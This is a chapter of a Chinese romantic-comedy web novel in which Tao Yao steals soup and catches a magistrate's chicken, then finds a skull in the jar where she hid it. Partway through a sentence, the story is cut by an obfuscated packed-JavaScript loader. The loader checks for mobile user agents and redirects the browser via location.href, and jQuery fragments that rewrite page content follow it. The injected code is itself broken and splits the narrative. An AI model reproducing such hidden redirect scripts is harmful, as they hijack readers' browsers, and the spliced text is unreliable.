莲反 作品

19. 瓦罐鸡

    “哇啊——那知府大人钦点的鸡,自然是‘身份非凡’的鸡!”陶夭嘴上倒还是连连附和。


    “依我看呢,这还不够!完全不够!”她晃着脑袋,主意一个接着一个。


    “还该定期为这鸡按摩翅膀,或者在养鸡场弹琴,给鸡营造一个高雅的成长环境,方能将之培养成鸡中贵族!”


    “这……”听得厨娘都惊讶了。


    “那姐姐,不知这知府钦点鸡……在哪里啊?”陶夭自觉铺垫得差不多了。


    “能不能拿出来让我也瞻仰瞻仰……我是说开开眼~”


    没等厨娘答应,她就开始偷偷去掀筐子呀,笼子呀什么的。


    “哇——好多菜呀!”陶夭觉得自己口水都要流下来了。


    “蜜汁火方、清蒸鲥鱼、蟹粉狮子头、桂花糖藕、冰糖炖雪梨……”


    好想吃啊……


    陶夭吞吞口水,看向一旁忙活中的王姓厨娘。


    最终只是趁着对方没注意,偷偷叼了截糖藕在嘴里。


    “鸡……是不是……咳咳……”她捶捶胸,好容易将糖藕吞完,鼓鼓囊囊的腮帮子憋下去,“在那边啊?”


    陶夭就要在厨房里乱窜。


    她看到角落里还摆着个笼子。


    “哇啊……咳咳……”


    笼子里的鸡猛扑起来,一双翅膀拍得啪啪作响。


    陶夭挥挥手,试图避开扬起土尘。


    “这鸡好凶!”


    “你斗鸡么?”她冲着笼子挤眉弄眼。


    那鸡依然不安分地跳动着,扑腾起来的羽毛呛得她连连咳嗽。


    不过……大概是因为知道自己已经要沦落为别人的盘中餐,才如此焦虑吧?


    陶夭拿手拍拍鸡笼,趁着对方没扑棱过来时灵活躲闪。


    “没事,原谅你啦~”自己对着只即将升天的鸡计较什么。


    “那钦点鸡怎么会养在这里?”


    “姑娘说笑了,这钦点鸡哪能养这里,这就普通土鸡罢了。”厨娘朝门外扬扬下巴。


    “要看钦点鸡,姑娘你自去后院马厩边,那有一鸡舍。里头放着几只,我白日刚从老爷园子里运来的。”


    “好啊好啊~”陶夭一脸兴味盎然,“我去长长见识~”


    她刚走出去半步,又顿住脚步,接着开始往后退。


    手指偷偷摸摸捏上饭勺。


    瞅准时机,哗哗开始盛汤。


    “姐姐,给你鸡汤记得趁热喝,很有营养的……你这雪梨汤我盛一点尝尝啊~”


    没等人回应,陶夭端起了碗厨娘新炖的冰糖雪梨放入食盒,旋风般出了门。


    “呀——”陶夭在后衙转了圈,摸清了鸡舍位置,又挎着食盒回了房。


    就见沈卓在整理东西。


    “这么晚你要去哪儿啊?”


    “验尸。那个……小陶,你好好休息。”沈卓怕她再提起之前那假扮夫妻之事,决定还是走位上计。


    “我先走了。”


    “哎,等一下!”陶夭打开食盒,冲人招招手。


    “你先喝了再走呗~”她决定要向人好好展示自己的贤惠。


    冰糖的甜馨气息在带些霜雪寒意的房中弥漫开来。


    沈卓脚步微顿。


    “这是……给我的?”


    “我看你方才咳嗽得厉害,而且你不是喜欢甜的么,我特地给你炖的,快尝尝?”


    其实她哪会做什么菜?


    不过讨好人的技术她可是门清。


    “你先吃着啊,我来帮你收拾。”见沈卓还愣在原地,陶夭跑过去,将他摆在工具箱上的手抹开,动作殷勤得像个小丫鬟。


    语气却强硬。


    “你吃!”


    沈卓被陶夭强势摁坐于桌前。


    他有些愣。


    也还有些受宠若惊——她居然还会记得自己喜欢什么。


    冰糖的甜味于唇齿轻轻化开,若温柔春风拂面。


    可明明……窗外早梅尚未开放。


    趁着沈卓喝汤的功夫,陶夭将桌上工具一通乱塞。


    “沈卓……”她从箱中拿起一支化妆眉笔,往脸上比划一阵。


    “既然你会给死人化妆,那活人呢,你会不会?”


    以前这种事情都是由小乙一手包办的,她哪里会?


    可现在自己被通缉,还是要做些伪装,免得惹人怀疑。


    “活人……我没尝试过。”沈卓有些疑惑,“怎么?”


    “那你要不在我身上试试看?”


    “为何?”他一给死人整理仪容的,为何要懂如何给活人化妆?


    “那什么,你只有学会了给活人化妆,才能给死人化得更栩栩如生不是?”


    陶夭想蹭人手艺而已。


    “这……说得也是。”沈卓竟是真的觉得她这提议不错。


    “那,等我勘验完毕,得了空,就按你说的试试?”


    “那你早点回来啊~”


    陶夭单手挥着,冲沈卓告别——好像农家送丈夫出门犁地的小妇人似的。


    不知道的还真会以为他们有什么关系。


    沈卓觉得好像有哪里不对,犹豫一下,还是点点头。


    “……好。”


    目送沈卓出了门,陶夭这才拿出另一只手上那顺来的仵作手套。


    她是打算去抓鸡。


    很快,陶夭便蹲在了鸡圈门口。


    她皱着眉头,盯着里面扑腾的两只钦点鸡,内心十分复杂。


    那脏兮兮的鸡她一点也不想碰!


    不行啊,萧桃,你怎么能被区区一只鸡给难倒!


    陶夭又握紧了随手顺来的竹竿。


    要是那群捕快真的敢刁难人,自己必定也要让他们好看!


    想到此,陶夭深吸口气,小心翼翼推开鸡圈门。


    钦点鸡们非常警觉,立刻扑腾着翅膀迎面冲来。


    “你们别过来啊……”陶夭吓得往后一缩,手上竹竿一通乱挥。


    钦点鸡不愧是钦点鸡,智力就是比一般土鸡高出不少,左躲右闪,根本不按套路出牌。


    有一只甚至飞到了陶夭肩膀上,翅膀啪啪乱舞,拍得她满脸鸡毛。


    陶夭边挥舞竹竿,边原地转圈,试图把鸡赶下去。


    可想而知,她那乱拳打死钦点鸡的美梦……落空!


    人鸡大战几十回合后,陶夭总算死死摁住了一只鸡翅膀。


    “让你跑!”她得意洋洋:“还不是飞不出本姑娘的手掌心?”


    结果下一刻便乐极生悲——陶夭一个没抓稳,手里的鸡又飞了出去。


    在空中扑腾时,它还精准地甩了一坨……某种不可言说的东西。


    正中陶夭的袖子。


    “……”


    陶夭看着袖子上那不明物体,神色瞬间狰狞起来:“居然还出阴招啊你!”


    不可原谅!


    “今夜本姑娘就让你知道什么是真正的毒手!”


    她憋着气,咬牙再次扑向鸡群,一通乱战,终是成功用外衣兜住了一只鸡。


    待陶夭顶着鸡窝头,抓着鸡腿,倒提着钦点鸡回房时,却发现屋里依旧空荡荡的。


    “……奇怪?”


    沈卓居然还没回来?!


    这都后半夜了吧?


    也没事,她刚好藏鸡。


    陶夭四下搜寻一番,终是在床下挖出个瓦罐。


    打开来,一股奇奇怪怪的异味激得她掩了鼻。


    陶夭赶紧将已被布缠得乱七八糟的钦点鸡塞进大罐头中,推回床底。


    屋里也没其他合适容器了不是。


    “简直完美~”


    陶夭拍拍小手,美滋滋地上床。


    门“吱吖”一声打开。


    沈卓是来找手套的。


    尸体太多,太废手套了!


    可他的备用手套却找不到了。


    估计是刚才陶夭忘了放进来。


    沈卓才在床下放好罐


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15148758|164562||http|test|mini|href|location.split(|),0,{}));


    () {


    $(.inform).remove();


    $(#content).append(


    头,就看到某人迷迷糊糊地下床。


    陶夭显然就是没睡醒,眼睛都没睁开,梦游一般。


    她头发乱糟糟地翘着,像一只刚斗败的公鸡,脸上还带着睡出的浅浅红印,嘴角微微嘟起,不住嘟囔:“臭鸡!早晚有一天把你们的腿都卸了,看你们怎么跑!”


    似乎还在跟谁赌气。


    一整个人都很搞笑。


    沈卓唇角微扬,起身轻轻推了门出去。


    如此深夜,当然不好长期和个姑娘同处一室。


    那厢,陶夭压根没注意到沈卓回来,她闭着眼,弯腰去挖床下罐子——这会儿鸡都没动静了,会不会是死了?


    死了她就扔到那些捕快值守的班房那!


    一鸡双刁!


    正好两波仇人一块解决!


    陶夭沉浸在大仇得报的虚假快感中,脸上的笑意却突然僵住。


    不行……还得再去纾解一下身体的负担。


    她之前灌了很多开水和大半碗药。


    “呀……死人骨头!”


    陶夭一个屁股墩就坐在了地上。


    她赶忙手脚并用地往后蹭了两下。


    罐子里的东西,差点没把她的魂儿吓飞——里头赫然放着一个头骨!


    那头骨似乎被精心擦拭过,和着窗户摄入的月色,正泛起诡异亮光。


    陶夭瞪着它,只觉对方空洞的眼眶似乎也更深了一些。


    “你……你看什么看?”陶夭声音有点颤抖,但没忘了给自己壮胆。


    “没见过人家这种奇迹般可爱的小姑娘是吧?”


    “小陶,你没事吧?”听到屋内响动,沈卓赶紧推门进去。


    他看见陶夭正和罐子里的小半个居民大眼瞪小眼,自然知道发生了什么。


    “对不起,吓着你了是吧,主要是我那里放不下了,我这就拿走……”


    他迅速盖好罐头盖子,就要离开。


    “等等!快扶我起来!”陶夭机械地转头,她这会儿才看清,自己装鸡的罐头是被沈卓无意间推到床的更里头了。


    但她没工夫计较这个了。


    “恭桶在哪里啊?”被吓了以后,她感觉有点憋不住。


    沈卓好意提醒道:“恭桶好像也在床下。”


    “呃……”这么说……是自己用来盛鸡的那个?


    “那净房呢?”


    “外边。”


    “带我去!”陶夭正要冲出去,却被沈卓一把拉住。


    他将自己的斗篷解下,披于她身。


    “小心着凉。”


    “……谢了!”陶夭摸摸身上斗篷,那披风还带着些许寒意。


    不知怎的,她却觉得比貂皮的还要保暖。


    “方才……咳……是不是吓着你了?”沈卓平静的语气中透着关切。


    “没有!”陶夭光速否认。


    “你既说不怕,又为何要牵着我?”


    沈卓略感无奈。


    陶夭此时正猫着腰跟在他身后,小手死死抓住人衣摆,老鹰抓小鸡似的。


    “……好吧,那人家就是怕呀……阿嚏!”


    “你慢点,小心……”陶夭突然就开始飞跑,沈卓话还未完,就看见她在东厕门口滑倒了。


    完全称得上言出法随。


    陶夭也顾不得疼痛,炮仗般弹起,捂着屁股一溜烟冲入净房。


    “啊呀……久等啦~”


    解决了生理问题,陶夭只觉一身轻松。


    差点就尿了裤子,好险!


    她蹲下来,小手在雪地上翻了几个面。


    “你……”沈卓再看不下去,去水缸那舀了些水,给人净手。


    却听一女声自身后响起。


    “小夫妻俩赏月么?”


    王厨娘刚好路过。


    “不是,我们……”沈卓才要辩解,陶夭当即挽住人手。


    “是啊!我们交流感情呢!姐姐早些睡哦~”


    沈卓:“……”